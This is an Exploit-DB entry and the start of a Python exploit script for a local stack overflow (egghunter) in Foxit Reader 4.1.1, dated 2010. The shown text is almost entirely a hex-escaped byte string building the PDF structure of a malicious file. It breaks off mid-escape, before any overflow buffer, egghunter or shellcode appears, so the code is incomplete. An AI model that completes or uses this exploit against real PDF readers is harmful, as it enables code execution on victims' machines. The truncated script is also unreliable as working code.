Exploit-DB #15542
Description: Foxit Reader 4.1.1 - Local Stack Overflow (Egghunter)
Type: local
Platform: windows
Date: 2010-11-15
Author: dookie

Exploit:
#!/usr/bin/python
#
# Date:   15 Nov 10
# Author: dookie __at__ offsec.com
# App:    Foxit Reader 4.1.1


preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25\xE2\xE3\xCF\xD3\x0A\x38\x31\x20\x30\x20\x6F\x62\x6A\x0A\x3C\x3C\x2F\x4C\x69\x6E\x65\x61\x72\x69\x7A\x65\x64\x20\x31\x2F\x4C\x20\x32\x31\x33\x37\x35\x36\x2F\x4F\x20\x38\x33\x2F\x45\x20\x31\x34\x31\x36\x33\x31\x2F\x4E\x20\x32\x31\x2F\x54\x20\x32\x31\x32\x30\x38\x39\x2F\x48\x20\x5B\x20\x31\x32\x31\x36\x20\x36\x39\x39\x5D\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x78\x72\x65\x66\x0A\x38\x31\x20\x34\x36\x0A\x30\x30\x30\x30\x30\x30\x30\x30\x31\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x30\x31\x39\x31\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x30\x32\x30\x38\x34\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x30\x32\x33\x31\x31\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x30\x32\x33\x36\x33\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x30\x32\x34\x37\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x32\x33\x37\x37\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x32\x33\x39\x35\x37\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x32\x34\x35\x30\x33\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x32\x34\x38\x38\x33\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x34\x38\x36\x38\x38\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x34\x38\x38\x37\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x34\x39\x34\x39\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x34\x39\x39\x34\x32\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x35\x30\x34\x38\x31\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x35\x30\x39\x33\x34\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x35\x31\x33\x37\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x35\x31\x38\x33\x38\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x35\x32\x32\x39\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x35\x32\x38\x35\x37\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x35\x33\x33\x31\x34\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x35\x33\x35\x32\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x37\x32\x36\x35\x39\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x37\x32\x38\x35\x33\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x37\x33\x34\x30\x31\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x37\x33\x37\x38\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x37\x35\x32\x32\x38\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x37\x35\x34\x31\x33\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x37\x35\x37\x30\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x37\x35\x38\x36\x31\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x37\x36\x30\x35\x39\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x37\x36\x35\x36\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x37\x36\x39\x31\x34\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x39\x32\x31\x35\x32\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x39\x32\x33\x34\x32\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x39\x33\x30\x31\x33\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x39\x33\x35\x32\x32\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x31\x30\x36\x33\x37\x31\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x31\x30\x36\x35\x36\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x31\x30\x37\x31\x38\x31\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x31\x30\x37\x36\x33\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x31\x31\x39\x35\x38\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x31\x31\x39\x37\x38\x37\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x31\x32\x30\x33\x30\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x31\x32\x30\x36\x37\x39\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x30\x30\x30\x30\x30\x30\x31\x32\x31\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0A\x74\x72\x61\x69\x6C\x65\x72\x0A\x3C\x3C\x2F\x53\x69\x7A\x65\x20\x31\x32\x37\x2F\x50\x72\x65\x76\x20\x32\x31\x32\x30\x37\x38\x2F\x52\x6F\x6F\x74\x20\x38\x32\x20\x30\x20\x52\x2F\x49\x6E\x66\x6F\x20\x38\x30\x20\x30\x20\x52\x2F\x49\x44\x5B\x3C\x38\x44\x36\x41\x44\x44\x32\x41\x31\x45\x30\x36\x35\x46\x38\x32\x45\x31\x46\x43\x32\x34\x44\x31\x30\x31\x33\x32\x32\x46\x44\x45\x3E\x3C\x30\x46\x30\x33\x32\x41\x42\x33\x42\x30\x36\x39\x43\x38\x34\x30\x38\x36\x37\x42\x41\x32\x39\x45\x42\x42\x41\x36\x41\x44\x32\x30\x3E\x5D\x3E\x3E\x0A\x73\x74\x61\x72\x74\x78\x72\x65\x66\x0A\x30\x0A\x25\x25\x45\x4F\x46\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x38\x32\x20\x30\x20\x6F\x62\x6A\x0A\x3C\x3C\x2F\x56\x69\x65\x77\x65\x72\x50\x72\x65\x66\x65\x72\x65\x6E\x63\x65\x73\x3C\x3C\x2F\x44\x69\x73\x70\x6C\x61\x79\x44\x6F\x63\x54\x69\x74\x6C\x65\x20\x74\x72\x75\x65\x3E\x3E\x2F\x4F\x75\x74\x6C\x69\x6E\x65\x73\x20\x35\x34\x20\x30\x20\x52\x2F\x4D\x65\x74\x61\x64\x61\x74\x61\x20\x37\x39\x20\x30\x20\x52\x2F\x50\x61\x67\x65\x73\x20\x37\x38\x20\x30\x20\x52\x2F\x4F\x70\x65\x6E\x41\x63\x74\x69\x6F\x6E\x5B\x38\x33\x20\x30\x20\x52\x2F\x58\x59\x5A\x20\x6E\x75\x6C\x6C\x20\x6E\x75\x6C\x6C\x20\x30\x5D\x2F\x54\x79\x70\x65\x2F\x43\x61\x74\x61\x6C\x6F\x67\x2F\x4C\x61\x6E\x67\x28\x65\x6E\x2D\x55\x53\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A\x0A\x38\x33\x20\x30\x20\x6F\x62\x6A\x0A\x3C\x3C\x2F\x43\x72\x6F\x70\x42\x6F\x78\x5B\x30\x20\x30\x20\x36\x31\x32\x20\x37\x39\x32\x5D\x2F\x50\x61\x72\x65\x6E\x74\x20\x37\x38\x20\x30\x20\x52\x2F\x43\x6F\x6E\x74\x65\x6E\x74\x73\x5B\x39\x34\x20\x30\x20\x52\x20\x39\x35\x20\x30\x20\x52\x20\x39\x36\x20\x30\x20\x52\x20\x39\x37\x20\x30\x20\x52\x20\x39\x38\x20\x30\x20\x52\x20\x39\x39\x20\x30\x20\x52\x20\x31\x30\x30\x20\x30\x20\x52\x20\x31\x30\x31\x20\x30\x20\x52\x5D\x2F\x52\x6F\x74\x61\x74\x65\x20\x30\x2F\x47\x72\x6F\x75\x70\x3C\x3C\x2F\x49\x20\x74\x72\x75\x65\x2F\x4